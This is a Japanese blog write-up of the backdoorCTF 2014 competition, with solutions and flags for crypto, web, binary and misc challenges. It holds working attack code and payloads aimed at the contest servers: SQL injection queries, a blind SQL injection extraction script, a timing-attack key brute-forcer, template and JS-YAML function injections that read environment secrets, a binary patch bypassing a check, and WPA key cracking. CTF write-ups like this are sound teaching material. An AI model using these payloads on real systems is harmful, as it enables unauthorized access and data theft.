backdoorCTF 2014 Write-up
backdoorCTFにチームsuperflipとして参加した。2630点21位。サクサク解けて面白かった。フラグは見つけたフラグのMD5ハッシュを投稿するものが多かったので、一応答えにもMD5ハッシュを付けている。指定された問題以外にもCSSとかに隠しフラグがあったらしい。
Crypto 10
画像ファイルが問題。末尾にzipファイルが付いている。解凍すると画像が出てくる。この画像も末尾にzipファイルが付いている。
6307834008eb8edbe18c7a20ee4a909d
Crypto 100
公開鍵と暗号化したファイルが渡されて復号する問題。220bitのRSAなので正攻法で解ける。
>openssl rsa -pubin -text < id.pub Public-Key: (220 bit) Modulus: 0c:09:e7:ec:78:f2:f8:ad:a9:95:34:48:22:64:77: 28:1b:09:9d:18:35:70:2b:4d:e5:07:5d:6b Exponent: 65537 (0x10001)
で、nとeを取り出す。msieveでnを素因数分解。
>msieve 0x0c09e7ec78f2f8ada9953448226477281b099d1835702b4de5075d6b sieving in progress (press Ctrl-C to pause) 7296 relations (3342 full + 3954 combined from 37569 partial), need 7248 sieving complete, commencing postprocessing >tail msieve.log Sun Mar 23 18:24:31 2014 filtering completed in 3 passes Sun Mar 23 18:24:31 2014 matrix is 6583 x 6647 (0.8 MB) with weight 180566 (27. 17/col) Sun Mar 23 18:24:31 2014 sparse part has weight 180566 (27.17/col) Sun Mar 23 18:24:31 2014 commencing Lanczos iteration Sun Mar 23 18:24:31 2014 memory use: 0.8 MB Sun Mar 23 18:24:31 2014 lanczos halted after 106 iterations (dim = 6580) Sun Mar 23 18:24:31 2014 recovered 63 nontrivial dependencies Sun Mar 23 18:24:31 2014 prp34 factor: 1090660992520643446103273789680343 Sun Mar 23 18:24:31 2014 prp34 factor: 1162435056374824133712043309728653 Sun Mar 23 18:24:31 2014 elapsed time 00:00:41
n = p*q = 1090660992520643446103273789680343*1162435056374824133712043309728653
このpとqから秘密鍵を作る。opensslで作れるかもしれないけど、方法が分からないので自作スクリプト。
import sys p = 1090660992520643446103273789680343 q = 1162435056374824133712043309728653 e = 65537 n = p*q def exgcd(x,y): r0,r1 = x,y a0,a1 = 1,0 b0,b1 = 0,1 while r1>0: q1 = r0/r1 r2 = r0%r1 a2 = a0-q1*a1 b2 = b0-q1*b1 r0,r1 = r1,r2 a0,a1 = a1,a2 b0,b1 = b1,b2 return a0,b0,r0 d = exgcd(e,(p-1)*(q-1))[0] + (p-1)*(q-1) exp1 = d % (p-1) exp2 = d % (q-1) coef = pow(q,p-2,p) def int2bin(d): t = "%x"%d return (t if len(t)%2==0 else "0"+t).decode("hex") def enclen(l): if l<0x80: return chr(l) else: t = int2bin(l) return chr(0x80+len(t))+t def encint(n): t = int2bin(n) return "\x02"+enclen(len(t))+t t = "".join(map(encint,[0,n,e,d,p,q,exp1,exp2,coef])) t = "\x30"+enclen(len(t))+t print "-----BEGIN RSA PRIVATE KEY-----" print t.encode("base64")[:-1] print "-----END RSA PRIVATE KEY-----"
秘密鍵。
-----BEGIN RSA PRIVATE KEY----- MIGUAgEAAhwMCefsePL4ramVNEgiZHcoGwmdGDVwK03lB11rAgMBAAECHBEAKDHMN6qwa6wVkcxn IPJ/M2rTKZczAqRVdykCDjXGE7vhg+gGdPSEi2rXAg45T/49/Di1EaB7E0sDjQIODIBULiWriNGX dxEpaFkCDianNKlJelVkVf+ru2PhAg4BH+uiLIU435fC/R1BUA== -----END RSA PRIVATE KEY-----
復号。
>openssl rsautl -decrypt -inkey id.key < ciphertext.txt Loading 'screen' into random state - done random_prime_gen
random_prime_gen 184cae04d3535156e2b0847cfe1eb441
Crypto 200-1
問題文に16進数の文字列が書かれていた。
1f8b08089c452c530003737465703900edd85b6ec3300c44d1ffae86dcffe61ac7e1437403e42b1a1717……
↓gzipで解凍
010011000101010101100100010000100101010100110001011011000100001001010010010001100101……
↓8文字ごとに区切って変換
LUdBU1lBRFQqJi0yNS1HQVNZQURUKiYtMzMtR0FTWUFEVComLTM3LUdBU1lBRFQqJi0yNS1HQVNZQURUKiYt……
↓Base64で復号
-GASYADT*&-25-GASYADT*&-33-GASYADT*&-37-GASYADT*&-25-GASYADT*&-33-GASYADT*&-35-GASYA……
↓良く分からないけど、25, 33, 37, …を16進数だと思って復号
%37%35%36%37%36%37%36%33%33%61%32%66%32%66%36%33%36%65%36%36%36%37%37%32%32%65%36%38……
↓パーセントエンコーディングだと思って復号
756767633a2f2f636e6667722e686f686167682e70627a2f373133303535342f0a
↓16進数
uggc://cnfgr.hohagh.pbz/7130554/
↓ROT13
http://paste.ubuntu.com/7130554/
サイトにフラグが書いてある。
5d3144233c46404dba4afc766601b997
Crypto 200-2
解けなかった。ピーピー音が鳴っているwavファイル。音程なり周波数なりを変換するのだろか?
Web 10
問題文のページのHTTPヘッダに答えがある。
Backdoor-CTF:28b3324be8b003ee7e1d0d153fad3c32 Connection:Keep-Alive Content-Encoding:gzip Content-Length:1119 Content-Type:text/html Date:Sun, 23 Mar 2014 09:37:23 GMT Keep-Alive:timeout=5, max=100 Server:Apache/2.2.22 (Ubuntu) Vary:Accept-Encoding X-Powered-By:PHP/5.3.10-1ubuntu3.10
28b3324be8b003ee7e1d0d153fad3c32
Web 50
解けなかった。他の人の解答を見ると、sqlmapでブラインドSQLインジェクションと書いてある。コメントは/* */しか使えないし、UNION SELECT 〜も動かなかったし、50点にしては難しいから他に解法がありそうだけど……。ツールが使えるから簡単という事だろうか。
追記
Hint: H4x0r loves using paranthesis in his SQL queries
というヒントがあった。
xxx') UNION SELECT 0,table_name,0 FROM information_schema.tables # xxx') UNION SELECT 0,column_name,0 FROM information_schema.columns WHERE table_name='the_flag_is_over_here' # xxx') UNION SELECT 0,twisted_column_name,0 FROM the_flag_is_over_here #
を検索すれば良い。#と--がダメで/* */がOKという時点でDBエンジンが何かすら分からなかったけど、括弧か。覚えておこう……。
d5abaf391f7bc7e7cda8c128e5ca3187
Web 100-1
画像のURLを送ると点数が返ってくるウェブサービス。サーバーを動かして、そのサーバーのURLを指定すると、
$ nc -l 7777 GET / HTTP/1.1 Host: sanya.sweetduet.info:8543 Accept: */* X-Referrer: 92702a9381515494689f5d14f85a83b7.php
謎のヘッダが付いている。92702a9381515494689f5d14f85a83b7.phpを開くとコメントにフラグが書いてある。
f556b9a48a3ee914f291f9b98645cb02
Web 100-2
Underscore.jsでページを生成するウェブサービス。ソース。データだけではなく、テンプレートも指定できるので、
<%=process.env.FLAG%>
を送ると環境変数が読める。
16367694ede9faef0efec36845e18ceb
Web 200
投稿したキーが正しいかどうかを判定するウェブサービス。ブルートフォースを防ぐために、
for($i=0;$i<strlen($key);$i++) { if($key[$i]!=$actual_key[$i]) die("Wrong key"); usleep(200000); }
と、0.2秒のスリープが入っている。タイミングアタック。1回だけだと誤差があるので、1種類の文字に付き10回アクセスして、それでも平均だとぶれるので、中央値を取った。
import time import urllib url = "http://backdoor.cognizance.org.in/problems/web200/submit.php?key=" cand = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" for c in cand: S = [] for i in range(10): s = time.clock() d = urllib.urlopen(url+c+"aaaa").read() S += [time.clock()-s] S.sort() print c, (S[4]+S[5])/2 # print c, urllib.urlopen(url+"Z9A9"+c).read()
1文字ごとにurlopenのところを修正した。
X 0.15236482422 Y 0.159946188537 Z 0.363095763259 a 0.152403469308 b 0.144447502835 7 0.344034437878 8 0.344380967658 9 0.553629539431 A 0.344418701306 B 0.36404748971
こんな感じの時間。
ee7528e19f87ba00b4b4c721b646a8a2
Web 250-1
指定したYAMLのデータを指定したMarkdownの中に埋め込んで表示するウェブサービス。ソース。JS-YAMLはYAML中にJavaScriptの関数を埋め込めるらしい。怖い((((((;゚Д゚))))))
--- f: !!js/function > function f() { return process.env.FLAG } --- {{f}}
を送るとフラグが表示された。
fb1f85e4f37eb3bf31141cb1dcce1caf
Web 300
ブラインドSQLインジェクション。check.phpにアクセスする前に、status.phpにアクセスしないと弾かれる。
# sql = "SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema!='mysql' AND table_schema!='information_schema'" # sql = "SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='the_elusive_flag'" sql = "SELECT group_concat(this_column_has_the_flag) FROM the_elusive_flag" import urllib, urllib2, cookielib o = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar())) r = "" for i in range(1,100): c = 0 b = 0x80 while b>0: d = o.open("http://backdoor.cognizance.org.in/problems/web300/status.php").read() s = "kusano' AND ascii(substring((%s), %s, 1)) < %s#" % (sql,i,c+b) d = o.open("http://backdoor.cognizance.org.in/problems/web300/check.php", urllib.urlencode({"username": s})).read() if "Please" in d: c += b b /= 2 r += chr(c) print r
sqlをそれぞれの文字列にしたときの結果は、
the_elusive_flag,users this_column_has_the_flag 9d4dcc5981b17bf37740c7dbabe3b294
9d4dcc5981b17bf37740c7dbabe3b294
Binary 10
バイナリ中に答えが見える。
$ ./bin10 Enter the password: a_few_basic_skills_will_do The flag for this level is 40511702a6193f9b38d37699e676fd40
40511702a6193f9b38d37699e676fd40
Binary 100
処理を追うのが面倒だなと思ったら、条件分岐を潰すだけだった。0x000011F8の、0x74を0x75に書き換えて、JEをJNEにする。
$ ./bin100_2 aaa Congrats! The flag for this level is : 94958e1c10707728ef965fe850eb98a1
94958e1c10707728ef965fe850eb98a1
Binary 200
ゴチャゴチャしたcppファイルが渡される。
vgg f = 0x7265616c6c795f69;
を
vgg f = 0x7265616c6c795f69LL;
にして、-trigraphオプションを付けたらコンパイルできた。
if(ll01<(ll01&-0x1))??<ff();ggg();%>
を
ff();ggg();
にするとフラグが表示された。
>gcc -trigraphs obfuscated2.cpp >a.exe 8243101811275816809 just_another_FLaG
ちなみに、??<は、{になる。トライグラフ。昔のCで使えた。%>は}になる。ダイグラフ。最近のCで使える。
just_another_FLaG a38834db6eb9d31e3c7e878bae3da748
Misc 10
pcapファイルが渡される。解けなかった。
追記
Beginners CTF blog: Backdoor CTF 2014 Miscellaneous-10
pcap中でアクセスしているURLにQRコードが置いてあった。
efb8f4cd67963a5652ee0aa2187b830a
Misc 150
ext2イメージファイル。解けなかった。
WindowsでもAutopsyで開ける。
/Music/mystery.wavにモールス信号が入っていて、復号すると、
THIS IS NOT THE FLAG YOU HAVE WASTED YOUR TIME DECRYPTING THIS
/$OrphanFiles/OrphanFile-1737 が
""" Looks like something missing here! """ def decrypt(key,cipher): decipher = '' for i in range(len(cipher)): decipher+=chr(ord(cipher[i])+int(key[i])) return decipher key = 'CDEFGHIJSTUVWXYZcdefghijstuvwxyzCDEFGHIJSTUVWXYZcdefghijstuvwxyz' cipher = 'K]] qgm af l`] f]pl Af;L>! 9dd l`] n]jq Z]kl ^gj Ydd l`] [`Ydd]f_]k! 9f\ qgmj ^dY_: d]]l_)++/_d]]l' flag = decrypt(key,cipher) print flag
で、このプログラムは動かないけど、cipherの各文字に8を足すと、
See(you(in(the(next(InCTF)(All(the(very(best(for(all(the(challenges)(And(your(flagB(leetg1337gleet
どちらもハズレ。
historyを見ろというヒントに今気が付いた。/.bash_history中のhttp://paste.ubuntu.com/7130279/かなぁ。
934360b5b4901b727471b39455949a47
Misc 200
古いCPUのアセンブラと実行前のメモリの数値が渡される。ここを見ながら解読。
gun_kills_cadet_in_war f57f4973ce9eb1c07c71ad3be3752c79
Misc 250-1
Wi-Fiをキャプチャしたファイルが渡されて、WPAキーの解析。ただし16進数で末尾は007。
0007 1007 2007 3007 4007 5007 6007 7007 8007 9007 a007 b007 c007 d007 e007 f007 10007 11007 12007 :
という辞書ファイルを作って、Aircrack-ngを使う。Windows用のGUIもあるので簡単。
Aircrack-ng 1.2 beta2 [00:04:52] 891736 keys tested (3137.32 k/s) KEY FOUND! [ e9b6f007 ] Master Key : 57 F7 3C 8F 86 A1 0C C7 CD 82 F7 34 DB 8F 44 35 5F 3E 46 98 F1 C1 C7 C5 BF 45 A8 08 E2 67 1E 67 Transient Key : 57 5D 68 40 3A D9 81 52 C1 6E E3 20 66 0C 2F EC C6 32 D4 03 04 20 71 07 14 DD 8A 77 32 BF DA EC E1 F7 0A 2C 8F 5B C0 C5 13 44 BE 7B 67 29 56 74 FE 83 C7 8C 2A D3 A9 7E AD 0F C3 5B 07 75 3E A9 EAPOL HMAC : FA 08 DE B7 DA FE E3 6E 9C B2 0C 28 B3 5A 7B 36
e9b6f007 c578ddd79dc30186ba22714e6afe5f18
Misc 250-2
BMPファイルでログインするウェブサービスに指定のユーザーでログインしろという問題。画像の左上にRGB=(1,1,1)でログイン名が書かれている。
practice_makes_one_perfect c16a3c8504985a8c91956c29f7338184
Misc 300
指定されたサーバーにアクセスすると
BackdoorCTF 2014 We dare you to send us a prime between 571746583247771 and 1002618112288883 (exclusive) Enter your Prime:
と表示される。これは前座かと思ったら、これに答えるだけだった。ランダムに整数を生成して、ミラー-ラビン法で素数判定。
# coding: utf-8 import random import socket import time # ミラー-ラビン素数判定法 def prime(n,k=32): if n==2: return True if n==1 or (n&1)==0: return False d = n-1 while d&1 == 0: d >>= 1 for _ in range(k): a = random.randint(1,n-1) t = d y = pow(a,t,n) while t!=n-1 and y!=1 and y!=n-1: y = y*y%n t <<= 1 if y!=n-1 and (t&1)==0: return False return True s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("128.199.215.224", 8080)) time.sleep(1) t = s.recv(10000) print t a = int(t.split("\n")[3]) b = int(t.split("\n")[5]) while True: c = random.randint(a,b) if prime(c): break print "c",c s.send(str(c)) time.sleep(1) print s.recv(10000)
understanding_things_is_the_key 7dbed87411062a582fdd25f544902685
Misc 100
解けなかった。指定されたユーザーに指定されたGitHubリポジトリにコミットさせよという問題。Organizationに加えてくれるので単にpushするだけだと思ったけど、ダメだった。
git commit --author
で名前を変えれば良かったらしい。
Trivia 10-2
Who is Megaracer?
kimdotcom 148e6711a03f43a1955bcff667d967cc